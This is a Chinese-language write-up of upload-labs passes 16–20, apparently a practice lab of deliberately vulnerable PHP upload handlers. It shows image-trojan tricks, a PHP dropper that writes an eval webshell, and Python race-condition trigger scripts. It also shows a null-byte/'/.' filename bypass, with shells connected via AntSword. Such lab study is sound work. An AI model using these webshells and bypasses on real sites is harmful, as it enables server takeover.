文件上传漏洞练习 upload-labs(16~20)【exif图片检测,二次渲染绕过,上传条件竞争,包含条件竞争,文件名可控】
写在前面
下面几道题目与php源码、图片木马有关,如果你对php或者图片木马并不是很熟悉,或者看起来较为吃力,可以点击下方
源码分析链接
会有基础知识和图片马的知识基础,同时在pass-03中有源码分析和对各个函数的讲解。
图片木马在下方pass也会有讲解,也可以看看。
Pass 16
本题使用的检测函数为exif_imagetype()
来看看它的详细解释
同样也是对图片进行检测,大概就是读取第一个字节并检查后缀名,在开始之前,你需要在php配置中开启php_exif()
选项。
其本身也仅仅是检测是否为图片,所以之前的方法仍旧可以使用。
思路仍然是:
首先使用copy制作图片马,上传后解析,这里放出几张截图。
上传成功,解析成功
连接即可:
Pass 17
这一关对上传图片进行了判断了后缀名、content-type,以及利用imagecreatefromxxx
判断是否为相应格式的图片,最后再做了一次二次渲染,但是后端二次渲染需要找到渲染后的图片里面没有发生变化的Hex地方,添加一句话,通过文件包含漏洞执行一句话,使用蚁剑进行连接。
这里用到的工具是:010Editor
它能够以16进制打开各种文件,然后对文件进行编辑,还能够在上面运行脚本,文件比较等等。
思路:二次渲染会对图片特定地方进行重写,按照标准格式进行存储,先上传一张正常gif然后下载上传完毕后的图片,作对比,在即使经过二次渲染也没有改变的地方植入木马,最后文件包含执行。
顺带一提,这里推荐使用gif格式进行,gif图片的特点是无损。
首先用上传前和上传后的图片进行比较:
然后选中上传后未被改变的位置插入木马:
保存后上传并解析:
解析内容明显发生了变化。
最后蚁剑连接:
这里提供一张图片马作为参考,你可以直接上传后连接:
Pass 18
本体是条件竞争,提示是:
那么,先来进行代码审计吧:
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
代码大概含义就是,对上传的文件首先进行白名单比对,如果是规定的格式,那么就重命名后储存,如果是其他文件就进行删除操作,也就是unlink()
函数。
所以事实上你仍然可以使用之前的图片木马的方式完成本题,但是这里主要考察的是条件竞争,我们可以用其他方法来完成本题。
条件竞争具有一定的实战意义,由于实际情况下的网站很难给你文件包含的机会,也就是说,你很难对图片进行解析来获得权限。并且普通的php几乎不允许上传。
这里的关键就在于对非法文件进行了删除操作,服务器对文件的读取和删除包括代码执行都需要时间,在这一小段时间内,文件仍然存在于服务器上,你就可以进行触发等操作。
使用的脚本更改为:
<?php fputs(fopen('bin.php','w'),'<?php @eval($_POST["bin"])?>');?>
也就是一旦触发这个脚本就会在当前目录下新建一个shell.php
并且这里是不需要文件包含漏洞来触发的,只要前端访问到即可。
或许你会奇怪为什么同样是文件,这里就不需要文件包含漏洞了呢?
这是因为当上传图片马时,仅在前端访问仍然是一张图,会以图片形式打开,并不能解析代码。就像我们直接上传php代码文件是可以直接连接,当在前端打开也会以代码形式解析,所以这里当我们请求到php代码时就会解析文件,从而产生新的木马。
具体步骤:
首先,上传php文件然后bp拦截下来,送至爆破模块。
改成空payload
点击"clear"清除爆破点
将线程提高至20,开始爆破,并用python脚本触发
python脚本:
import requests
url = "http://localhost/upload-labs-master/upload/newshell.php"#换上你自己的网址
while True:
html = requests.get(url)
if html.status_code == 200:
print("OK")
break
else:
print('no')
出现ok,访问并触发成功。
最后蚁剑连接即可。
Pass 19
同样是条件竞争
从源码来看的话,服务器先是将文件后缀跟白名单做了对比,然后检查了文件大小以及文件是否已经存在。文件上传之后又对其进行了重命名。所以不能直接上传php文件了。
那么就是图片木马,然后利用文件包含漏洞解析
在上传重命名之前能够在文件包含中进行触发。
bp操作没有太大区别,同样是空payload不断发包。
要修改一下脚本:
import requests
url = "http://xxx.xxx.xxx.xx/upload-labs/include.php?file=upload/pass19.png"
while True:
html = requests.get(url)
if ( 'Warning' not in str(html.text)):
print('ok')
break
Less 20
没有对上传的文件做判断,只对用户输入的文件名做判断
后缀名黑名单
上传的文件名用户可控
黑名单用于用户输入的文件后缀名进行判断
move_uploaded_file()
还有这么一个特性,会忽略掉文件末尾的 /.
其实也就是00截断,点在16进制就是00咯
最后在处理文件路径时是加上用户输入的文件名,所以其实也算是文件路径可控
先准备PHP一句话木马,并把后缀名改为PNG再上传,思路和之前00截断相同,虽然是png但是以php形式储存。
所以你既可以直接使用点,也可以在16进制中改为00
上传成功
最后连接即可: